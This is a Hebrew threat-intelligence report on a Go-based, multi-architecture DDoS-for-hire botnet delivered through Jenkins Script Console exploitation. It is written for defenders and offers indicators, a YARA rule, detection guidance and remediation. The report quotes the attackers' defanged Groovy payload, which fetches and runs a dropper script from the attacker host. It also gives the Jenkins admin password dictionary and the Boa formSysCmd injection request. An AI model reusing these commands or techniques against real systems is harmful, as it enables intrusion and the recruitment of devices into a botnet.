malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

בוטנט DDoS-להשכרה חוצה-פלטפורמות בשפת Go

Kinryū Labs ניתחה את bot.exe, גרסת ה-Windows של בוטנט DDoS שהודר בשפת Go ומופץ כערכת דרופר של 11 קבצים בינאריים ו-13 ארכיטקטורות, ונמסר דרך קמפיין ניצול רב-ימים של Jenkins Script Console. סקירה של מארח ההיערכות זיהתה API חי ומאומת של DDoS-להשכרה, ערוץ פקודה SSH בשפת Go, ומשפחה משושלת Mirai המתארחת לצדם. אנו מעריכים בביטחון גבוה שמדובר במבצע DDoS-להשכרה מסחרי.

מאת Davis Zheng·

TLP:CLEAR. אושר לפרסום ציבורי. הדגימה וערכת הדרופר שלה נלכדו על ידי רשת חיישני מלכודות הדבש של Kinryū Labs במהלך קמפיין ניצול רב-ימים של Jenkins שנצפה על פני כמה חיישנים. הקבצים הבינאריים שנלכדו נותחו סטטית ולא הורצו; מארח ההיערכות של המפעיל אופיין באמצעות סקירה חיצונית פעילה (מנייַת שירותים, רישום FTP אנונימי, וגישוש לא-מאומת של API חשוף), ללא עקיפת אימות כלשהי. מחווני התוקף מנוטרלים (defanged).

תקציר מנהלים

  • 13גרסאות ארכיטקטורה, 11 קבצים בינאריים ייחודיים
  • 5שיטות DDoS בעלות שם, ובנוסף API להשכרה
  • 3כתובות IP מקור מתואמות ב-/22 יחיד
  • 2משפחות בוטנט על מארח יחיד

bot.exe הוא גרסת Windows x86-64 של בוטנט DDoS שהודר בשפת Go ומופץ כערכת דרופר רב-ארכיטקטורות. סקריפט מעטפת נלווה, bins.sh, מאחזר שלוש-עשרה גרסאות ארכיטקטורה, אחת-עשרה ייחודיות לאחר הסרת כפילויות, המכסות x86 בגרסאות 32 ו-64 סיביות, ארבעה פרופילי ARM, ARM64, Android ARM64, ו-MIPS בסדר בתים גדול וקטן, לצד הקובץ הבינארי של Windows. הערכה הגיעה לרשת מלכודות הדבש דרך ניצול שרת Jenkins חשוף.

הנוזקה מטמיעה חמש שיטות הצפה בעלות שם (HTTP, לחיצת יד TLS, ICMP, TLS ישיר, ושיטה נפחית המסומנת VOULT), הצפת HTTP המסובבת מחרוזות User-Agent של דפדפנים וכותרות אזוריות (locale) כדי לדמות תעבורה לגיטימית, ומטעני הזרקת-פקודה המכוונים אל שרת האינטרנט Boa בהתקנים מבוססי RealTek SDK לצורך התפשטות עצמית. סקירה של מארח ההיערכות בכתובת 185.226.93[.]242 זיהתה API מאומת של DDoS-להשכרה ביציאה 3333, שירות SSH המיושם בשפת Go ביציאה 2222 המשמש כערוץ הפקודה, ושירות FTP אנונימי המערך משפחת בוטנט שנייה משושלת Mirai/Gafgyt.

Kinryū Labs מעריכה בביטחון גבוה ש-bot.exe הוא חלק מבוטנט DDoS זדוני, מתפשט-עצמית, רב-ארכיטקטורות, המופעל כשירות מסחרי להשכרה. שלושה ממצאים נושאים את ההערכה: מחרוזות שיטות-ההתקפה והניצול של הקובץ הבינארי עצמו; API חי להשכרה על מארח ההיערכות של המפעיל שמאמת פרמטרי משימה ודורש אימות; וטלמטריית מלכודות דבש של קמפיין רב-צמתים ומתמשך המספק את הערכה.

הערכות מפתח
  • bot.exe הוא בוטנט DDoS חוצה-פלטפורמות בשפת Go. חמש מחרוזות יומן של שיטות-הצפה נבדלות נושאות פרמטרים של מטרה ומשך, לצד מנגנון התחזות-דפדפן ותמיכת SOCKS5, כולם במחרוזות לא-מעורפלות ומאוששים על ידי ה-API החי.
  • המבצע מופעל כשירות DDoS-להשכרה מסחרי. מארח ההיערכות חושף API ביציאה 3333 שמאמת פרמטרי משימה (user, psw, host, method, time, port) ודוחה אישורים לא-תקינים.
  • הבוטנט מתפשט-עצמית דרך הזרקת-פקודה ב-IoT. הקובץ הבינארי נושא מטען הזרקת-פקודה של Boa formSysCmd, נתיב פריצה-בכוח (brute-force) של התחברות לנתב, ופונקציות מיוצאות loginDevice ו-loginDeviceCaptcha, ומזריק את אותה שורת דרופר יחידה שתועדה ביומני מלכודות הדבש.
  • שלוש כתובות IP מקור הן מפעיל יחיד. שלוש כתובות ב-185.226.92[.]0/22 סיפקו מטענים זהים בתזמון מתואם ורשימת אישורים משותפת, וכתובות ה-IP של המסירה וההיערכות מציגות מפתחות מארח SSH זהים, מה שמצביע על מארח יחיד או על דימויים משוכפלים.

מסירה: קמפיין מתמשך של Jenkins Script Console

הערכה נמסרה דרך ניצול מופע Jenkins החשוף לאינטרנט. טלמטריית מלכודות הדבש תיעדה שיטה עקבית בת שני שלבים: GET /crumbIssuer/api/json לאחזור אסימון ה-CSRF, ולאחריו POST /script הנושא מטען Groovy Script Console. המטען היה זהה על פני כל הניסיונות ומנוטרל כאן:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

הבקשות נשאו כותרת Authorization: Basic המסובבת מילון קצר של סיסמאות מספריות חלשות עבור חשבון ה-admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), חתימה של רשימת אישורים אוטומטית ולא אימות ממוקד.

הקמפיין רץ במשך כמה ימים בגלים חוזרים ונשנים:

  • גל 1גישושים ראשונים: בדיקת CSRF-crumb ולאחריה Groovy RCE, מכתובת ה-IP של ההיערכות ומכתובת שנייה באותו בלוק.
  • לכידהbins.sh וכל שלוש-עשרה הגרסאות אוחזרו בשני חיישנים בהפרש של כארבע-עשרה שעות, זהים ברמת הבית בשניהם.
  • גלים מאוחריםניצול מקבילי משלוש כתובות ה-IP המקור בהפרש של דקות זו מזו, עם User-Agents מסובבים.

בקשות הניצול סיבבו מערכה גדולה של User-Agents ריאליסטיים של דפדפנים, בעוד סריקת הסקירה שחיפשה מטרות Jenkins נוספות (אחזור /login ולאחריו מטח מהיר של בקשות /script) השתמשה ב-Go-http-client/1.1 שהוא ברירת המחדל. User-Agents מזויפים רוכבים על מטעני הניצול; הסורק משתמש בלקוח ה-Go המקורי של הבוטנט. מארח ההיערכות וה-C2 עצמו נטל חלק בניצול, כך שתשתית ההתקפה והאירוח אינן מופרדות.

הנוזקה: בסיס-קוד Go יחיד, אחד-עשר קבצים בינאריים

כתיבת הבוט בשפת Go מאפשרת לבסיס-קוד יחיד לעבור הידור-צולב לכל מטרה שהמפעיל רוצה. הדרופר עובר על כל קו המוצרים, מאחזר כל גרסה עם wget ושוב עם curl כגיבוי, מסמן אותה כניתנת-להרצה, מריץ אותה, ומוחק אותה. הערכה כוללת .exe של Windows, שהדרופר של Linux עדיין מעביר דרך chmod +x, והמבנה שנוצר של הסקריפט מצביע על צינור בנייה-ורישום. לאחר הסרת כפילויות שלוש-עשרה הגרסאות מצטמצמות לאחד-עשר קבצים בינאריים ייחודיים: גרסאות x86 ו-i386 תואמות, וכך גם גרסאות ARM הכללית ו-ARMv7. פריסת הארכיטקטורות, מ-MIPS ו-ARM מדור קודם ועד Android, מסמנת בוטנט המכוון לנתבים, מצלמות, והתקנים מוטמעים אחרים; גרסת Windows נושאת את אותו הקוד למחשבים שולחניים ושרתים.

הקובץ הבינארי אינו ארוז (אנטרופיות מקטעי ה-PE נופלות בין 5.4 ל-6.3) ואינו מקוצץ (מזהה הבנייה של Go וסמלי זמן-הריצה שלמים), כך שיכולותיו יושבות במחרוזות גלויות. חותם הזמן של ההידור מאופס, מה שנורמלי לגרסאות Go.

חמש שיטות הצפה נקראות במחרוזות היומן של הקובץ הבינארי, כל אחת מעוצבת עם מטרה ומשך: הצפת “HTTP (Optimized)”, הצפת מיצוי “Handshake” מסוג TLS/TCP, הצפת “PING” מסוג ICMP, הצפת סשן “TLS+” ישירה, ושיטת “VOULT”, נפחית וסביר שמבוססת UDP. אפשרויות ברמת-היישום וברמת-הרשת נוכחות שתיהן.

הצפת ה-HTTP בנויה לעבור כתעבורה לגיטימית. היא מסובבת יותר מעשר מחרוזות User-Agent של דפדפנים על פני Chrome, Edge, Opera, Firefox ו-Safari ב-Windows, macOS, iPad ו-Android; חמש-עשרה אזוריות Accept-Language; וכותרות טביעת האצבע sec-fetch-* ו-sec-ch-ua-* ששירותי המיטיגציה בוחנים. היא קובעת Referer מתוך מערכה קטנה של אתרים בעלי מוניטין גבוה (google.com, reddit.com, facebook.com, bing.com, twitter.com, ו-fbi.gov). ערך אחד במערכת ה-User-Agent הוא המחרוזת המילולית Hello World, ממלא-מקום של מפתח שיוצר חתימת זיהוי נקייה מפני ששום לקוח לגיטימי אינו שולח אותו.

ההתפשטות מכוונת אל שרת האינטרנט Boa, שדון HTTP מוטמע קטן שעדיין מסופק על נתבים ומצלמות רבים מבוססי RealTek SDK. הקובץ הבינארי נושא מטען הזרקת-פקודה כנגד המטפל formSysCmd של Boa ונתיב פריצה-בכוח של התחברות כנגד ממשקי ניהול של נתבים, עם שדות אישור בפורמט JSON והפונקציות המיוצאות loginDevice ו-loginDeviceCaptcha. הפקודה המוזרקת היא שורת הדרופר היחידה, כך שהתקן שנפרץ הופך לנקודת המסירה עבור הבא בתור.

מודולי ה-Go המצורפים כולם חבילות golang.org/x סטנדרטיות, ללא מסגרת C2 של צד שלישי מקושרת. הם כוללים chacha20poly1305, http2/hpack, dns/dnsmessage, ו-http/httpproxy, התואמים ליכולות הנצפות: ערוץ מוצפן-מאומת, HTTP/2, DNS גולמי, ושרתוּת SOCKS5 (המחרוזות socks5, socks connect, ו-socksUsernamePassword נוכחות). תצורת ה-C2 מאוחזרת בזמן ריצה מ-hxxp://<C2>/config.dat; הכתובת היחידה המקודדת-קשיח בקובץ הבינארי היא מארח ההיערכות.

פיקוד-ובקרה ותשתית היערכות

סקירה של מארח ההיערכות זיהתה את השירותים הבאים:

יציאהשירותתכלית
21/tcpvsftpd 3.0.3, התחברות אנונימית מאופשרתהיערכות נוזקה (משפחה שנייה, למטה)
22/tcpOpenSSH 9.2p1 (Debian)גישת מפעיל
1001/tcpשרת Go net/httpהיערכות ראשית: מגיש את bins.sh ואת הגרסאות
2222/tcpGo SSH (SSH-2.0-Go)ערוץ פקודת בוט
3333/tcpשרת Go net/httpAPI של DDoS-להשכרה

שני ממצאים תומכים בהערכת ההשכרה. כתובת ה-IP של המסירה ומארח ההיערכות מציגים מפתחות מארח SSH זהים מסוג ED25519, RSA, ו-ECDSA, מה שממקם אותם על אותה מכונה או על דימויים משוכפלים מתבנית אחת, ושירות ה-Go SSH ביציאה 2222 מציג מפתח נבדל מ-OpenSSH של המערכת ביציאה 22, מה שמסמן אותו כיישום נפרד ולא כהעברה (forward). ה-API ביציאה 3333 דוחה בקשה על פרמטרים חסרים (user, psw, host, method, time/duration, port) ומחזיר כשל אימות עבור אישורי בדיקה, כאשר כל שאר הנתיבים מחזירים 404. זהו הממשק המינימלי, המאומת-פר-בקשה, של booter מסחרי, הפועל על תשתית חיה.

משפחה שנייה על אותו מארח

שירות ה-FTP האנונימי מערך משפחת בוטנט נפרדת, המכונה כאן “boatnet” על שם שמות הקבצים שלה. הדרופר שלה (ohshit1.sh) משתמש בלקוח ftpget של BusyBox, משנה את שם כל קובץ בינארי ל-WTF לפני ההרצה, ומשגר גרסאות ברקע על פני חמש-עשרה ארכיטקטורות, כולל מטרות מוטמעות אקזוטיות (ARC, m68k, SH4, SPARC) משושלת Mirai/Gafgyt. הקבצים הבינאריים הם ELF שהודר ב-C, מקוצצים, וארוזים (אנטרופיה 7.6 עד 7.9 ללא קסם UPX, מה שמצביע על אורז מותאם-אישית), כך שמעט שורד סקירה סטטית. פריטי ה-boatnet קדמו לערכת ה-bot.exe ומריצים בסיס-קוד לא-קשור, כך שמארח יחיד מערך שתי משפחות בוטנט נבדלות.

אירוח

שתי כתובות ה-IP של התוקף נופלות ב-185.226.92[.]0/22, הרשום לספק VPS מבוסס-טורקיה (שם הרשת BIGCORE-US, AS205196 / AS57152) דרך RIPE NCC, עם איש קשר לניצול-לרעה [email protected]. אנו מזהים את ספק האירוח לצורכי דיווח ואיננו טוענים דבר לגבי זהות המפעיל.

סימני פריצה

תשתית התוקף מנוטרלת. טביעות הדגימות ומחרוזות הזיהוי נושאות ערכים חיים מתוקף התכנון.

רשת

מחווןהקשר
185.226.93[.]242מארח היערכות + C2; גם סורק פעיל
185.226.92[.]110סורק / צומת מסירה ראשי
185.226.92[.]173סורק משני
185.226.92[.]0/22הקצאת אירוח (BIGCORE, AS205196). חסימת פרימטר סבירה
185.226.93[.]242:1001היערכות HTTP (bins.sh + גרסאות)
185.226.93[.]242:2222ערוץ פקודת Go SSH
185.226.93[.]242:3333API של DDoS-להשכרה (/api, מוגן-פרמטרים)
185.226.93[.]242:21FTP אנונימי, היערכות boatnet
hxxp://<C2>/config.datתבנית אחזור תצורת C2 בזמן ריצה
/boafrm/formSysCmd, /boafrm/formLoginURIs של Boa RCE ופריצת-התחברות בהתפשטות היוצאת
מפתח מארח SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…משותף על פני כתובות ה-IP של המסירה וה-C2; מחוון ציר

קבצים

קובץSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (דרופר)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
טביעות ערכת הדרופר המלאה (11 ייחודיות על פני 13 גרסאות)
גרסהSHA-256גודל (בתים)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

פריטי מארח ואישורים

  • מילון פריצת-בכוח של Jenkins admin: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (דרופר boatnet) וקובץ בינארי ששמו שונה ל-WTF לפני ההרצה.
  • User-Agents ייחודיים: Hello World (הצפת HTTP של הבוט) ו-Go-http-client/1.1 (סריקה-עצמית של הבוט).

התנהגותי

  • Jenkins GET /crumbIssuer/api/json ולאחריו POST /script הנושא מטען Groovy ProcessBuilder('sh','-c', …) שמאחזר את bins.sh.
  • בקשות יוצאות אל מארח תחת /config.dat, שקדמה להן שורת יומן Connecting to CNC....
  • POST /boafrm/formSysCmd נכנס עם sysCmdselect=5 וגוף wget … bins.sh.

זיהוי

המחרוזות יציבות ולא-מעורפלות, כך שהחתימות פשוטות. כלל ה-YARA שלהלן הוא מועמד שנבנה ממחרוזות מאומתות; אמת לפני פריסה.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

זיהוי רשת:

  • Jenkins: התרע על גופי POST /script המכילים ProcessBuilder עם wget/curl לכתובת IP גולמית, בפרט כאשר קדם להם GET /crumbIssuer/api/json.
  • התפשטות IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • תשתית: חסום את 185.226.92[.]0/22, שמכסה את כתובות המסירה וה-C2, והתרע על חיבורים יוצאים אל יציאות 1001, 2222, ו-3333 בטווח הזה.

תיקון

  • אל תחשוף את Jenkins לאינטרנט. מקם אותו מאחורי אימות ובידוד רשת, השבת את ה-Script Console עבור לא-מנהלים, והתייחס לשרת בנייה נגיש כאל סיכון פריצה של מארח מלא. זה היה וקטור המסירה.
  • אכוף אישורי Jenkins חזקים והגבל קצב אימות. הקמפיין הסתמך על מילון קצר של סיסמאות מספריות חלשות עבור admin.
  • פַלֵּח או החלף נתבים והתקני IoT מבוססי RealTek/Boa, וחסום גישה חיצונית לממשקי הניהול שלהם. אלה מטרת ההתפשטות של הבוטנט.
  • חסום את הקצאת האירוח (185.226.92[.]0/22) בפרימטר והתרע על ה-URI של Boa RCE ועל תבנית אחזור config.dat.
  • סַנֵן תעבורה יוצאת. מארח המגיע לכתובת IP גולמית ביציאה 1001 כדי למשוך קבצים בעלי-שם-ארכיטקטורה, או המתחבר ליציאות 2222 או 3333 בטווח הזה, הוא חריג וניתן-ללכידה במקום שבו זיהוי מבוסס-מארח נעדר.
  • דַּוֵּח על התשתית. ניתן לדווח על ה-API של DDoS-להשכרה ועל הנוזקה המערכת ב-FTP לאיש הקשר לניצול-לרעה של ספק האירוח ([email protected]).

מיפוי MITRE ATT&CK

טקטיקהטכניקה
Initial AccessT1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd להתפשטות)
Credential AccessT1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (התחברות IoT)
ExecutionT1059 Command and Scripting Interpreter (Groovy דרך Script Console; דרופר מעטפת Unix)
DiscoveryT1046 Network Service Scanning (סריקה-עצמית של Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery
Defense EvasionT1036 Masquerading (סבב User-Agent של דפדפן; שינוי שם boatnet ל-WTF)
Command and ControlT1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH ביציאה 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer (היערכות רב-ארכיטקטורות)
ImpactT1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (מיצוי לחיצת יד)

מתודולוגיה והערות

  • היקף: ניתוח סטטי של הקבצים הבינאריים שנלכדו, שלא הורצו, וסקירה חיצונית פעילה של מארח ההיערכות (מניית שירותים וכרזות (banners), רישום FTP אנונימי, וגישוש לא-מאומת של ה-API ביציאה 3333). לא נעקף אימות כלשהו.
  • כלל ה-YARA הוא מועמד שנבנה ממחרוזות מאומתות; אמת לפני פריסה. הקבצים הבינאריים של boatnet ארוזים והניבו מעט מחרוזות.
  • דגימות (ערכת ה-bot.exe, הדרופר, ופריטי ה-boatnet) זמינות לחוקרים ולמגנים אחרים לפי בקשה. כתבו ל-[email protected] עם פתק קצר על מי אתם ולמה אתם זקוקים להם.
How to cite
Kinryū Labs (2026). בוטנט DDoS-להשכרה חוצה-פלטפורמות בשפת Go. https://kinryu.sh/he/reports/go-ddos-botnet-for-hire/